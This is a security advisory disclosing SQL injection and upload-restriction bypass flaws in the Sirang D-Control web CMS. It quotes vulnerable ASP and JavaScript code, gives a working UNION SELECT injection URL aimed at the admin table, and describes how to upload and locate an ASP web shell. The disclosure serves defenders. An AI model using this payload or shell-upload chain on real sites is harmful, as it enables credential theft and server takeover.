Month Of Abysssec Undisclosed Bugs - Sirang D-Control

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- Title : Sirang Web-Based D-Control Multiple Remote Vulnerabilities  
- Affected Version : <= v6.0  
- Vendor Site : http://www.sirang.com  
  
- Discovery : Abysssec.com  
  
  
  
Description :  
  
this CMS suffer from OWASP top 10 !!!  
some of there will come here ...  
  
Vulnerabilites :  
======================================================================================================================  
1- SQL Injection  
  
Vulnerability is located in content.asp  
  
line 131-133  
...  
txt="select * from news where del='false' and "+keyfld+"!='-' order by id desc limit 1"  
set rs=conn.execute(txt)  
while not rs.eof  
...  
  
content.asp line 202-206  
...  
if id<>"" then  
txt10 ="select * from "+ cstr(tblname) +" where del='false' and id='"+ id +"'"  
set xx = conn.execute(txt10)  
if not xx.eof then  
...   
  
lots of files those will have to do input validation from user input are vulnerable to SQL Injection .  
  
PoC :  
www.site.com/main_fa.asp?status=news&newsID=23'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/dc_admin/*  
note : if you can't see result you need to do it blindly  
  
  
======================================================================================================================  
2- Bypass uploads restriction:  
  
after you got user/pass with sql injection go to  
http://site.com/admin/dc_upload.asp  
  
js file line 13-34 :  
  
  
function showthumb(file) {  
if (file !='') {  
myshowfile = file;  
  
extArray = new Array(".gif", ".jpg", ".png", ".bmp", ".jpe");  
allowSubmit = false;  
while (file.indexOf("\\") != -1)  
file = file.slice(file.indexOf("\\") + 1);  
ext = file.slice(file.indexOf(".")).toLowerCase();  
for (var i = 0; i < extArray.length; i++) {  
if (extArray[i] == ext) { allowSubmit = true; break; }  
}  
  
if (allowSubmit) thumb.src=myshowfile;  
else  
alert("Only files that end in types: " + (extArray.join(" ")) + " could be previewd.");  
}  
else {  
alert("Only files that end in types: " + (extArray.join(" ")) + " could be previewd.");  
}  
}  
  
as you can see the uploader will check malicious extention by javascript . just disable javascript and you can upload "ASP" shell.  
  
you can find your shell in : www.site.com/0_site_com/[rnd-number].asp (the application itself will show you right rnd number after upload)  
  
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